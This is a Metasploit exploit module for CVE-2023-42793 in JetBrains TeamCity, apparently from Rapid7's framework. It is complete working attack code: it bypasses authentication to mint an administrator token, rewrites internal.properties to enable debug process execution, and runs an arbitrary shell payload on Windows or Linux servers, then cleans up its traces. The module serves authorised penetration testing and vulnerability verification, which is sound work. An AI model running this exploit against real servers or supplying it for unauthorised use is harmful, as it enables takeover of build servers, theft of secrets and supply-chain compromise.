##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Retry
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'JetBrains TeamCity Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits an authentication bypass vulnerability to achieve unauthenticated remote code execution
          against a vulnerable JetBrains TeamCity server. All versions of TeamCity prior to version 2023.05.4 are
          vulnerable to this issue. The vulnerability was originally discovered by SonarSource.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'sfewer-r7', # MSF Exploit & Rapid7 Analysis
        ],
        'References' => [
          ['CVE', '2023-42793'],
          ['URL', 'https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793/rapid7-analysis'],
          ['URL', 'https://blog.jetbrains.com/teamcity/2023/09/critical-security-issue-affecting-teamcity-on-premises-update-to-2023-05-4-now/']
        ],
        'DisclosureDate' => '2023-09-19',
        'Arch' => [ARCH_CMD],
        'Payload' => { 'Space' => 1024 },
        'Privileged' => false, # TeamCity may be installed to run as local system/root, or it may be run as a custom user account.
        'Targets' => [
          [
            'Windows',
            {
              'Platform' => 'win'
            }
          ],
          [
            'Linux',
            {
              'Platform' => 'linux'
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        # By default TeamCity listens for HTTP requests on TCP port 8111.
        Opt::RPORT(8111),
        # The first user created during installation is an administrator account, so the ID will be 1.
        OptInt.new('TEAMCITY_ADMIN_ID', [true, 'The ID of an administrator account to authenticate as', 1]),
        # We modify a configuration file, we need to wait for the changes to be picked up. These options govern how we wait.
        OptInt.new('TEAMCITY_CHANGE_TIMEOUT', [true, 'The timeout to wait for the changes to be applied', 30])
      ]
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/login.html'
    )

    return CheckCode::Unknown('Connection failed') unless res

    # We expect a TeamCity server to respond with either a "TeamCity-Node-Id" header value or a cookie named "TCSESSIONID".
    # In the responses HTML body will be a string containing the release name and build version.
    if (res.headers.key?('TeamCity-Node-Id') || res.get_cookies.include?('TCSESSIONID')) && (res.body =~ /(\d+\.\d+\.\d+) \(build (\d+)\)/)
      detected = "JetBrains TeamCity #{::Regexp.last_match(1)} (build #{::Regexp.last_match(2)}) detected."

      # The vulnerability was patched in release 2023.05.4 (build 129421) so anything before this build is vulnerable.
      if ::Regexp.last_match(2).to_i < 129421
        return CheckCode::Vulnerable(detected)
      end

      return CheckCode::Safe(detected)
    end

    CheckCode::Unknown
  end

  def exploit
    token_uri = "/app/rest/users/id:#{datastore['TEAMCITY_ADMIN_ID']}/tokens/RPC2"

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(token_uri)
    )

    # A token named 'RPC2' may already exist if this system has been exploited before and previous exploitation
    # did not delete teh token after use. We detect that here, delete the token (as we dont know its value) if required
    # and then proceed to create a new token for our use.
    if res && (res.code == 400) && res.body.include?('Token already exists')

      print_status('Token already exists, deleting and generating a new one.')

      unless delete_token(token_uri)
        fail_with(Failure::UnexpectedReply, 'Failed to delete the authentication token.')
      end

      res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(token_uri)
      )
    end

    unless res&.code == 200
      # One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here
      # and instruct the user to choose a new ID via the TEAMCITY_ADMIN_ID option.
      if res && (res.code == 404) && res.body.include?('User not found')
        print_warning('User not found, try setting the TEAMCITY_ADMIN_ID option to a different ID.')
      end

      fail_with(Failure::UnexpectedReply, 'Failed to create an authentication token.')
    end

    begin
      token = Nokogiri::XML(res.body).xpath('/token')&.attr('value').to_s

      print_status("Created authentication token: #{token}")

      print_status('Modifying internal.properties to allow process creation...')

      unless modify_internal_properties(token, 'rest.debug.processes.enable', 'true')
        fail_with(Failure::UnexpectedReply, 'Failed to modify the internal.properties config file.')
      end

      begin
        print_status('Executing payload...')

        vars_get = {}

        # We need to supply multiple params with the same name, so the TeamCity server (A Java Spring framework) can
        # construct a List<String> sequence for multiple parameters. We can do this be enabling `compare_by_identity`
        # in the Ruby Hash.
        vars_get.compare_by_identity

        case target['Platform']
        when 'win'
          vars_get['exePath'] = 'cmd.exe'
          vars_get['params'] = '/c'
          vars_get['params'] = payload.encoded
        when 'linux'
          vars_get['exePath'] = '/bin/sh'
          vars_get['params'] = '-c'
          vars_get['params'] = payload.encoded
        end

        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri('/app/rest/debug/processes'),
          'uri_encode_mode' => 'hex-all', # we must encode all characters in the query param for the payload to work.
          'headers' => {
            'Authorization' => "Bearer #{token}",
            'Content-Type' => 'text/plain'
          },
          'vars_get' => vars_get
        )

        unless res&.code == 200
          fail_with(Failure::UnexpectedReply, 'Failed to execute arbitrary process.')
        end
      ensure
        print_status('Resetting the internal.properties settings...')

        unless modify_internal_properties(token, 'rest.debug.processes.enable', nil)
          fail_with(Failure::UnexpectedReply, 'Failed to modify the internal.properties config file.')
        end
      end
    ensure
      print_status('Deleting the authentication token.')

      unless delete_token(token_uri)
        fail_with(Failure::UnexpectedReply, 'Failed to delete the authentication token.')
      end
    end
  end

  def delete_token(token_uri)
    res = send_request_cgi(
      'method' => 'DELETE',
      'uri' => normalize_uri(token_uri),
      'headers' => {
        'Connection' => 'close'
      }
    )

    res&.code == 204
  end

  def modify_internal_properties(token, key, value)
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri('/admin/dataDir.html'),
      'headers' => {
        'Authorization' => "Bearer #{token}"
      },
      'vars_get' => {
        'action' => 'edit',
        'fileName' => 'config/internal.properties',
        'content' => value ? "#{key}=#{value}" : ''
      }
    )

    unless res&.code == 200
      # If we are using an authentication for a non admin user, we cannot modify the internal.properties file. The
      # server will return a 302 redirect if this is the case. Choose a different TEAMCITY_ADMIN_ID and try again.
      if res&.code == 302
        print_warning('This user is not an administrator, try setting the TEAMCITY_ADMIN_ID option to a different ID.')
      end

      return false
    end

    print_status('Waiting for configuration change to be applied...')
    retry_until_truthy(timeout: datastore['TEAMCITY_CHANGE_TIMEOUT']) do
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri('/admin/admin.html'),
        'headers' => {
          'Authorization' => "Bearer #{token}",
          'Accept' => '*/*'
        },
        'vars_get' => {
          'item' => 'diagnostics',
          'tab' => 'properties'
        }
      )

      res&.code == 200 && res.body.include?(key)
    end
  end
end
